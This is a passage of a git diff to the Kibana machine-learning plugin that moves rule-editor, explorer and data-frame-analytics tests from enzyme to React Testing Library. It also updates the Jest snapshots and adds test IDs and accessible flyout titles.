expect(container.firstChild).toMatchSnapshot(); }); test('renders when enabled set to false', () => { @@ -71,8 +70,8 @@ describe('ScopeExpression', () => { enabled: false, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/scope_section.test.js b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/scope_section.test.js index 05d480291185b..1cc08c4510aa2 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/scope_section.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/scope_section.test.js @@ -16,9 +16,12 @@ jest.mock('../../capabilities/check_capabilities', () => ({ checkPermission: (privilege) => mockCheckPermission(privilege), })); -import React from 'react'; +jest.mock('../../contexts/kibana', () => ({ + useCreateAndNavigateToManagementMlLink: jest.fn().mockReturnValue(jest.fn()), +})); -import { shallowWithIntl } from '@kbn/test-jest-helpers'; +import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; import { ML_DETECTOR_RULE_FILTER_TYPE } from '@kbn/ml-anomaly-utils'; import { ScopeSection } from './scope_section'; @@ -34,8 +37,8 @@ describe('ScopeSection', () => { }, }; - const onEnabledChange = jest.fn(() => {}); - const updateScope = jest.fn(() => {}); + const onEnabledChange = jest.fn(); + const updateScope = jest.fn(); const requiredProps = { filterListIds: testFilterListIds, @@ -50,9 +53,9 @@ describe('ScopeSection', () => { isEnabled: false, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); test(`don't render when no partitioning fields`, () => { @@ -62,9 +65,9 @@ describe('ScopeSection', () => { isEnabled: false, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); test('show NoFilterListsCallOut when no filter list IDs', () => { @@ -75,9 +78,9 @@ describe('ScopeSection', () => { isEnabled: true, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); test('renders when enabled with no scope supplied', () => { @@ -87,9 +90,9 @@ describe('ScopeSection', () => { isEnabled: true, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); test('renders when enabled with scope supplied', () => { @@ -100,9 +103,9 @@ describe('ScopeSection', () => { isEnabled: true, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); }); @@ -111,8 +114,8 @@ describe('ScopeSection false canGetFilters privilege', () => { jest.resetModules(); }); - const onEnabledChange = jest.fn(() => {}); - const updateScope = jest.fn(() => {}); + const onEnabledChange = jest.fn(); + const updateScope = jest.fn(); const requiredProps = { onEnabledChange, @@ -131,8 +134,8 @@ describe('ScopeSection false canGetFilters privilege', () => { isEnabled: true, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/__snapshots__/add_to_filter_list_link.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/__snapshots__/add_to_filter_list_link.test.js.snap index c2c7493960bf4..61f90657b10e6 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/__snapshots__/add_to_filter_list_link.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/__snapshots__/add_to_filter_list_link.test.js.snap @@ -1,18 +1,11 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`AddToFilterListLink renders the add to filter list link for a value 1`] = ` - - - + Add elastic.co to safe_domains + `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/__snapshots__/delete_rule_modal.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/__snapshots__/delete_rule_modal.test.js.snap index 995c5e043d324..1a2ca1aba5e7c 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/__snapshots__/delete_rule_modal.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/__snapshots__/delete_rule_modal.test.js.snap @@ -1,52 +1,31 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`DeleteRuleModal renders as delete button after opening and closing modal 1`] = ` - - - - - + `; exports[`DeleteRuleModal renders as delete button when not visible 1`] = ` - - - - - + `; exports[`DeleteRuleModal renders modal after clicking delete rule link 1`] = ` - - - - - - + `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/__snapshots__/edit_condition_link.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/__snapshots__/edit_condition_link.test.js.snap index e3add7cfbb44e..2b4a0bcc1bc22 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/__snapshots__/edit_condition_link.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/__snapshots__/edit_condition_link.test.js.snap @@ -1,148 +1,139 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`EditConditionLink renders for a condition using actual 1`] = ` - - - - - - - +
    +
    - - - +
    + +
    +
    +
    +
    - - - - - + Update + +
    + `; exports[`EditConditionLink renders for a condition using diff from typical 1`] = ` - - - - - - - + +
    - - - +
    + +
    +
    + +
    - - - - - + Update + +
    + `; exports[`EditConditionLink renders for a condition using typical 1`] = ` - - - - - - - + +
    - - - +
    + +
    +
    + +
    - - - - - + Update + +
    + `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/add_to_filter_list_link.js b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/add_to_filter_list_link.js index ceaaceb2cca6b..fc60aef6cdfd8 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/add_to_filter_list_link.js +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/add_to_filter_list_link.js @@ -18,7 +18,10 @@ import { FormattedMessage } from '@kbn/i18n-react'; export function AddToFilterListLink({ fieldValue, filterId, addItemToFilterList }) { return ( - addItemToFilterList(fieldValue, filterId, true)}> + addItemToFilterList(fieldValue, filterId, true)} + data-test-subj="mlAddToFilterListLink" + > { test(`renders the add to filter list link for a value`, () => { - const addItemToFilterList = jest.fn(() => {}); + const addItemToFilterList = jest.fn(); - const wrapper = shallowWithIntl( + const { container, getByTestId } = renderWithI18n( { /> ); - expect(wrapper).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); - wrapper.find('EuiLink').simulate('click'); - wrapper.update(); - expect(addItemToFilterList).toHaveBeenCalled(); + fireEvent.click(getByTestId('mlAddToFilterListLink')); + + expect(addItemToFilterList).toHaveBeenCalledWith('elastic.co', 'safe_domains', true); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/delete_rule_modal.js b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/delete_rule_modal.js index 68221bbe58791..1dbe6f741477e 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/delete_rule_modal.js +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/delete_rule_modal.js @@ -66,7 +66,11 @@ export class DeleteRuleModal extends Component { return ( - this.showModal()}> + this.showModal()} + data-test-subj="deleteRuleModalLink" + > { - const deleteRuleAtIndex = jest.fn(() => {}); + const deleteRuleAtIndex = jest.fn(); const requiredProps = { ruleIndex: 0, @@ -19,36 +20,49 @@ describe('DeleteRuleModal', () => { }; test('renders as delete button when not visible', () => { - const props = { - ...requiredProps, - }; + const { container } = renderWithI18n(); - const component = shallowWithIntl(); - - expect(component).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); test('renders modal after clicking delete rule link', () => { - const props = { - ...requiredProps, - }; - - const wrapper = shallowWithIntl(); - wrapper.find('EuiLink').simulate('click'); - wrapper.update(); - expect(wrapper).toMatchSnapshot(); + const { container } = renderWithI18n(); + + // Find and click the delete link + const deleteLink = screen.getByTestId('deleteRuleModalLink'); + fireEvent.click(deleteLink); + + // Modal should be visible now + expect(container.firstChild).toMatchSnapshot(); }); test('renders as delete button after opening and closing modal', () => { - const props = { - ...requiredProps, - }; - - const wrapper = shallowWithIntl(); - wrapper.find('EuiLink').simulate('click'); - const instance = wrapper.instance(); - instance.closeModal(); - wrapper.update(); - expect(wrapper).toMatchSnapshot(); + const { container } = renderWithI18n(); + + // Open the modal + const deleteLink = screen.getByTestId('deleteRuleModalLink'); + fireEvent.click(deleteLink); + + // Find and click the cancel button + const cancelButton = screen.getByTestId('confirmModalCancelButton'); + fireEvent.click(cancelButton); + + // Modal should be closed now + expect(container.firstChild).toMatchSnapshot(); + }); + + test('calls deleteRuleAtIndex when confirm button is clicked', () => { + renderWithI18n(); + + // Open the modal + const deleteLink = screen.getByTestId('deleteRuleModalLink'); + fireEvent.click(deleteLink); + + // Find and click the delete button + const deleteButton = screen.getByTestId('confirmModalConfirmButton'); + fireEvent.click(deleteButton); + + // Verify the function was called with the correct index + expect(deleteRuleAtIndex).toHaveBeenCalledWith(0); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/edit_condition_link.test.js b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/edit_condition_link.test.js index ddcffadcacbb3..49d3b8de22ad9 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/edit_condition_link.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/components/rule_editor/select_rule_action/edit_condition_link.test.js @@ -8,62 +8,62 @@ jest.mock('../../../services/job_service', () => 'mlJobService'); import React from 'react'; - -import { shallowWithIntl } from '@kbn/test-jest-helpers'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; +import { fireEvent } from '@testing-library/react'; import { ML_DETECTOR_RULE_APPLIES_TO } from '@kbn/ml-anomaly-utils'; import { EditConditionLink } from './edit_condition_link'; -function prepareTest(updateConditionValueFn, appliesTo) { - const anomaly = { - actual: [210], - typical: [1.23], - detectorIndex: 0, - source: { - function: 'mean', - airline: ['AAL'], - }, - }; +// Common test data +const testAnomaly = { + actual: [210], + typical: [1.23], + detectorIndex: 0, + source: { + function: 'mean', + airline: ['AAL'], + }, +}; + +describe('EditConditionLink', () => { + const updateConditionValue = jest.fn(); - const props = { + // Helper function to get common props + const getProps = (appliesTo) => ({ conditionIndex: 0, conditionValue: 5, appliesTo, - anomaly, - updateConditionValue: updateConditionValueFn, - }; - - const wrapper = shallowWithIntl(); - - return wrapper; -} - -describe('EditConditionLink', () => { - const updateConditionValue = jest.fn(() => {}); + anomaly: testAnomaly, + updateConditionValue, + }); test(`renders for a condition using actual`, () => { - const wrapper = prepareTest(updateConditionValue, ML_DETECTOR_RULE_APPLIES_TO.ACTUAL); - expect(wrapper).toMatchSnapshot(); + const props = getProps(ML_DETECTOR_RULE_APPLIES_TO.ACTUAL); + const { container } = renderWithI18n(); + expect(container.firstChild).toMatchSnapshot(); }); test(`renders for a condition using typical`, () => { - const wrapper = prepareTest(updateConditionValue, ML_DETECTOR_RULE_APPLIES_TO.TYPICAL); - expect(wrapper).toMatchSnapshot(); + const props = getProps(ML_DETECTOR_RULE_APPLIES_TO.TYPICAL); + const { container } = renderWithI18n(); + expect(container.firstChild).toMatchSnapshot(); }); test(`renders for a condition using diff from typical`, () => { - const wrapper = prepareTest( - updateConditionValue, - ML_DETECTOR_RULE_APPLIES_TO.DIFF_FROM_TYPICAL - ); - expect(wrapper).toMatchSnapshot(); + const props = getProps(ML_DETECTOR_RULE_APPLIES_TO.DIFF_FROM_TYPICAL); + const { container } = renderWithI18n(); + expect(container.firstChild).toMatchSnapshot(); }); test('calls updateConditionValue on clicking update link', () => { - const wrapper = prepareTest(updateConditionValue, ML_DETECTOR_RULE_APPLIES_TO.ACTUAL); - const instance = wrapper.instance(); - instance.onUpdateClick(); - wrapper.update(); + const props = getProps(ML_DETECTOR_RULE_APPLIES_TO.ACTUAL); + const { getByRole } = renderWithI18n(); + + // Find and click the update button + const updateButton = getByRole('button', { name: 'Update' }); + fireEvent.click(updateButton); + + // Verify the function was called with the correct arguments expect(updateConditionValue).toHaveBeenCalledWith(0, 210); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/data_frame_analytics/pages/analytics_exploration/components/outlier_exploration/outlier_exploration.test.tsx b/x-pack/platform/plugins/shared/ml/public/application/data_frame_analytics/pages/analytics_exploration/components/outlier_exploration/outlier_exploration.test.tsx deleted file mode 100644 index b038695a4573d..0000000000000 --- a/x-pack/platform/plugins/shared/ml/public/application/data_frame_analytics/pages/analytics_exploration/components/outlier_exploration/outlier_exploration.test.tsx +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { KibanaContextProvider } from '@kbn/kibana-react-plugin/public'; -import { shallow } from 'enzyme'; -import React from 'react'; -import { OutlierExploration } from './outlier_exploration'; -import { kibanaContextMock } from '../../../../../contexts/kibana/__mocks__/kibana_context'; - -// workaround to make React.memo() work with enzyme -jest.mock('react', () => { - const r = jest.requireActual('react'); - return { ...r, memo: (x: any) => x }; -}); - -describe('Data Frame Analytics: ', () => { - test('Minimal initialization', () => { - const wrapper = shallow( - - - - ); - // Without the jobConfig being loaded, the component will just return empty. - expect(wrapper.text()).toMatch(''); - // TODO Once React 16.9 is available we can write tests covering asynchronous hooks. - }); -}); diff --git a/x-pack/platform/plugins/shared/ml/public/application/data_frame_analytics/pages/analytics_management/components/create_analytics_button/create_analytics_button.test.tsx b/x-pack/platform/plugins/shared/ml/public/application/data_frame_analytics/pages/analytics_management/components/create_analytics_button/create_analytics_button.test.tsx index 9b3f86070a6cb..f37542e43b5c5 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/data_frame_analytics/pages/analytics_management/components/create_analytics_button/create_analytics_button.test.tsx +++ b/x-pack/platform/plugins/shared/ml/public/application/data_frame_analytics/pages/analytics_management/components/create_analytics_button/create_analytics_button.test.tsx @@ -5,17 +5,31 @@ * 2.0. */ -import { mount } from 'enzyme'; import React from 'react'; +import { render, screen } from '@testing-library/react'; +import userEvent from '@testing-library/user-event'; import { CreateAnalyticsButton } from './create_analytics_button'; describe('Data Frame Analytics: ', () => { - test('Minimal initialization', () => { - const wrapper = mount( - + test('renders button with correct text', () => { + render(); + + expect(screen.getByText('Create job')).toBeInTheDocument(); + }); + + test('calls navigateToSourceSelection when clicked', async () => { + const navigateToSourceSelection = jest.fn(); + const user = userEvent.setup(); + + render( + ); - expect(wrapper.find('EuiButton').text()).toBe('Create job'); + await user.click(screen.getByText('Create job')); + expect(navigateToSourceSelection).toHaveBeenCalledTimes(1); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/data_frame_analytics/pages/analytics_management/hooks/use_create_analytics_form/use_create_analytics_form.test.tsx b/x-pack/platform/plugins/shared/ml/public/application/data_frame_analytics/pages/analytics_management/hooks/use_create_analytics_form/use_create_analytics_form.test.tsx index 863383ee33669..54e588dafb4b6 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/data_frame_analytics/pages/analytics_management/hooks/use_create_analytics_form/use_create_analytics_form.test.tsx +++ b/x-pack/platform/plugins/shared/ml/public/application/data_frame_analytics/pages/analytics_management/hooks/use_create_analytics_form/use_create_analytics_form.test.tsx @@ -6,25 +6,24 @@ */ import React from 'react'; -import { mountHook } from '@kbn/test-jest-helpers'; +import { renderHook } from '@testing-library/react'; import { useCreateAnalyticsForm } from './use_create_analytics_form'; import { kibanaContextMock } from '../../../../../contexts/kibana/__mocks__/kibana_context'; import { KibanaContextProvider } from '@kbn/kibana-react-plugin/public'; -const getMountedHook = () => - mountHook( - () => useCreateAnalyticsForm(), - ({ children }) => ( +const getRenderHook = () => + renderHook(() => useCreateAnalyticsForm(), { + wrapper: ({ children }: { children: React.ReactNode }) => ( {children} - ) - ); + ), + }); describe('useCreateAnalyticsForm()', () => { test('initialization', () => { - const { getLastHookValue } = getMountedHook(); - const { actions } = getLastHookValue(); + const { result } = getRenderHook(); + const { actions } = result.current; expect(typeof actions.createAnalyticsJob).toBe('function'); expect(typeof actions.startAnalyticsJob).toBe('function'); diff --git a/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_influencers_found/__snapshots__/explorer_no_influencers_found.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_influencers_found/__snapshots__/explorer_no_influencers_found.test.js.snap index e9206eb99ec5a..4958af134e040 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_influencers_found/__snapshots__/explorer_no_influencers_found.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_influencers_found/__snapshots__/explorer_no_influencers_found.test.js.snap @@ -1,13 +1,7 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`ExplorerNoInfluencersFound snapshot 1`] = ` - +
    + No field_name influencers found +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_influencers_found/explorer_no_influencers_found.test.js b/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_influencers_found/explorer_no_influencers_found.test.js index 4d89c81c0e639..186a78b6dbb29 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_influencers_found/explorer_no_influencers_found.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_influencers_found/explorer_no_influencers_found.test.js @@ -6,12 +6,17 @@ */ import React from 'react'; -import { shallow } from 'enzyme'; +import { render } from '@testing-library/react'; +import { __IntlProvider as IntlProvider } from '@kbn/i18n-react'; import { ExplorerNoInfluencersFound } from './explorer_no_influencers_found'; describe('ExplorerNoInfluencersFound', () => { test('snapshot', () => { - const wrapper = shallow(); - expect(wrapper).toMatchSnapshot(); + const { container } = render( + + + + ); + expect(container).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_results_found/__snapshots__/explorer_no_results_found.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_results_found/__snapshots__/explorer_no_results_found.test.js.snap index d797054457bf5..42cdaee023b2c 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_results_found/__snapshots__/explorer_no_results_found.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_results_found/__snapshots__/explorer_no_results_found.test.js.snap @@ -1,18 +1,39 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP -exports[`ExplorerNoInfluencersFound snapshot 1`] = ` - -

    - -

    -
    - } - iconType="info" - title={

    } -/> +exports[`ExplorerNoResultsFound snapshot 1`] = ` +
    +
    +
    + +
    +
    +

    + No results found +

    +
    +
    +

    + Try widening the time selection or moving further back in time +

    +
    +
    +
    +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_results_found/explorer_no_results_found.test.js b/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_results_found/explorer_no_results_found.test.js index a36edf7ed4856..01f93601d1f82 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_results_found/explorer_no_results_found.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/explorer/components/explorer_no_results_found/explorer_no_results_found.test.js @@ -6,12 +6,17 @@ */ import React from 'react'; -import { shallow } from 'enzyme'; +import { render } from '@testing-library/react'; +import { __IntlProvider as IntlProvider } from '@kbn/i18n-react'; import { ExplorerNoResultsFound } from './explorer_no_results_found'; -describe('ExplorerNoInfluencersFound', () => { +describe('ExplorerNoResultsFound', () => { test('snapshot', () => { - const wrapper = shallow(); - expect(wrapper).toMatchSnapshot(); + const { container } = render( + + + + ); + expect(container.firstChild).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/__snapshots__/explorer_chart_info_tooltip.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/__snapshots__/explorer_chart_info_tooltip.test.js.snap index 70f8e7e29a1ff..1df9c21837a7e 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/__snapshots__/explorer_chart_info_tooltip.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/__snapshots__/explorer_chart_info_tooltip.test.js.snap @@ -2,29 +2,51 @@ exports[`ExplorerChartTooltip Render tooltip based on infoTooltip data. 1`] = `
    - +
    +
    + job ID +
    +
    + mock-job-id +
    +
    + aggregation interval +
    +
    + 15m +
    +
    + chart function +
    +
    + avg responsetime +
    +
    + airline +
    +
    + JAL +
    +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/__snapshots__/explorer_chart_label.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/__snapshots__/explorer_chart_label.test.js.snap index 329d7c4cea75f..5895d70bab15e 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/__snapshots__/explorer_chart_label.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/__snapshots__/explorer_chart_label.test.js.snap @@ -1,92 +1,65 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP -exports[`ExplorerChartLabelBadge Render the chart label in one line. 1`] = ` - +exports[`ExplorerChartLabelBadge renders the chart label in one line 1`] = ` + - - high_sum(nginx.access.body_sent.bytes) over nginx.access.remote_ip (population-03) -  –  + high_sum(nginx.access.body_sent.bytes) over nginx.access.remote_ip (population-03) +  –  + + + + + + nginx.access.remote_ip + + + 72.57.0.53 + + + - -   - - - - } - css="unknown styles" - position="top" - size="s" - /> + +   + + + + + Info + - + `; -exports[`ExplorerChartLabelBadge Render the chart label in two lines. 1`] = ` - +exports[`ExplorerChartLabelBadge renders the chart label in two lines 1`] = ` + - - high_sum(nginx.access.body_sent.bytes) over nginx.access.remote_ip (population-03) -   - - - - } - css="unknown styles" - position="top" - size="s" - /> - - - - + high_sum(nginx.access.body_sent.bytes) over nginx.access.remote_ip (population-03)   - + + + + Info + + + + `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/__snapshots__/explorer_chart_label_badge.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/__snapshots__/explorer_chart_label_badge.test.js.snap index 7f7fab0220c73..4bc55eb9b5de9 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/__snapshots__/explorer_chart_label_badge.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/__snapshots__/explorer_chart_label_badge.test.js.snap @@ -1,16 +1,24 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP -exports[`ExplorerChartLabelBadge Render entity label badge. 1`] = ` +exports[`ExplorerChartLabelBadge renders entity label badge 1`] = ` - - nginx.access.remote_ip - - - 72.57.0.53 - - + + + nginx.access.remote_ip + + + 72.57.0.53 + + + + `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/explorer_chart_label.test.js b/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/explorer_chart_label.test.js index 9ba30281e7f1a..957651214de64 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/explorer_chart_label.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/explorer_chart_label.test.js @@ -7,16 +7,16 @@ import seriesConfig from '../../__mocks__/mock_series_config_filebeat.json'; -import { shallow } from 'enzyme'; import React from 'react'; +import { render } from '@testing-library/react'; import { ExplorerChartLabel } from './explorer_chart_label'; const DetectorLabel = {seriesConfig.detectorLabel}; describe('ExplorerChartLabelBadge', () => { - test('Render the chart label in one line.', () => { - const wrapper = shallow( + test('renders the chart label in one line', () => { + const { container } = render( { wrapLabel={false} /> ); - expect(wrapper).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); - test('Render the chart label in two lines.', () => { - const wrapper = shallow( + test('renders the chart label in two lines', () => { + const { container } = render( ); - expect(wrapper).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/explorer_chart_label_badge.test.js b/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/explorer_chart_label_badge.test.js index 0aae42e226be9..a10d6ce05f1b9 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/explorer_chart_label_badge.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/components/explorer_chart_label/explorer_chart_label_badge.test.js @@ -7,14 +7,14 @@ import seriesConfig from '../../__mocks__/mock_series_config_filebeat.json'; -import { shallow } from 'enzyme'; import React from 'react'; +import { render } from '@testing-library/react'; import { ExplorerChartLabelBadge } from './explorer_chart_label_badge'; describe('ExplorerChartLabelBadge', () => { - test('Render entity label badge.', () => { - const wrapper = shallow(); - expect(wrapper).toMatchSnapshot(); + test('renders entity label badge', () => { + const { container } = render(); + expect(container.firstChild).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/explorer_chart_info_tooltip.test.js b/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/explorer_chart_info_tooltip.test.js index c2149097c8733..25d7ccb509129 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/explorer_chart_info_tooltip.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/explorer/explorer_charts/explorer_chart_info_tooltip.test.js @@ -5,8 +5,8 @@ * 2.0. */ -import { shallowWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; import { ExplorerChartInfoTooltip } from './explorer_chart_info_tooltip'; @@ -24,7 +24,7 @@ describe('ExplorerChartTooltip', () => { jobId: 'mock-job-id', }; - const wrapper = shallowWithIntl(); - expect(wrapper).toMatchSnapshot(); + const { container } = renderWithI18n(); + expect(container.firstChild).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/explorer/swimlane_container.tsx b/x-pack/platform/plugins/shared/ml/public/application/explorer/swimlane_container.tsx index ec5f11ecb9f3f..dddc2ca2d267b 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/explorer/swimlane_container.tsx +++ b/x-pack/platform/plugins/shared/ml/public/application/explorer/swimlane_container.tsx @@ -538,6 +538,7 @@ export const SwimlaneContainer: FC = ({ xAccessor="time" yAccessor="laneLabel" valueAccessor="value" + valueFormatter={(score: number) => String(Math.floor(score))} highlightedData={highlightedData} xScale={{ type: ScaleType.Time, diff --git a/x-pack/platform/plugins/shared/ml/public/application/model_management/create_pipeline_for_model/create_pipeline_for_model_flyout.tsx b/x-pack/platform/plugins/shared/ml/public/application/model_management/create_pipeline_for_model/create_pipeline_for_model_flyout.tsx index 580341800f3b5..019b40c511178 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/model_management/create_pipeline_for_model/create_pipeline_for_model_flyout.tsx +++ b/x-pack/platform/plugins/shared/ml/public/application/model_management/create_pipeline_for_model/create_pipeline_for_model_flyout.tsx @@ -15,6 +15,7 @@ import { EuiFlyoutFooter, EuiSpacer, EuiTitle, + useGeneratedHtmlId, } from '@elastic/eui'; import { i18n } from '@kbn/i18n'; @@ -111,15 +112,18 @@ export const CreatePipelineForModelFlyout: FC return errors; }, [pipelineNames, formState.pipelineName]); + const titleId = useGeneratedHtmlId({ prefix: 'mlInferencePipelineFlyoutTitle' }); return ( -

    +

    {i18n.translate( 'xpack.ml.trainedModels.content.indices.pipelines.createInferencePipeline.title', { diff --git a/x-pack/platform/plugins/shared/ml/public/application/model_management/test_dfa_models_flyout.tsx b/x-pack/platform/plugins/shared/ml/public/application/model_management/test_dfa_models_flyout.tsx index 4593413154bd5..317d65281ab7e 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/model_management/test_dfa_models_flyout.tsx +++ b/x-pack/platform/plugins/shared/ml/public/application/model_management/test_dfa_models_flyout.tsx @@ -7,7 +7,14 @@ import type { FC } from 'react'; import React, { useMemo } from 'react'; -import { EuiFlyout, EuiFlyoutBody, EuiFlyoutHeader, EuiSpacer, EuiTitle } from '@elastic/eui'; +import { + EuiFlyout, + EuiFlyoutBody, + EuiFlyoutHeader, + EuiSpacer, + EuiTitle, + useGeneratedHtmlId, +} from '@elastic/eui'; import { FormattedMessage } from '@kbn/i18n-react'; import type { DFAModelItem } from '../../../common/types/trained_models'; import { TestPipeline } from '../components/ml_inference/components/test_pipeline'; @@ -34,11 +41,12 @@ export const TestDfaModelsFlyout: FC = ({ model, onClose }) => { // eslint-disable-next-line react-hooks/exhaustive-deps [model?.model_id] ); + const titleId = useGeneratedHtmlId({ 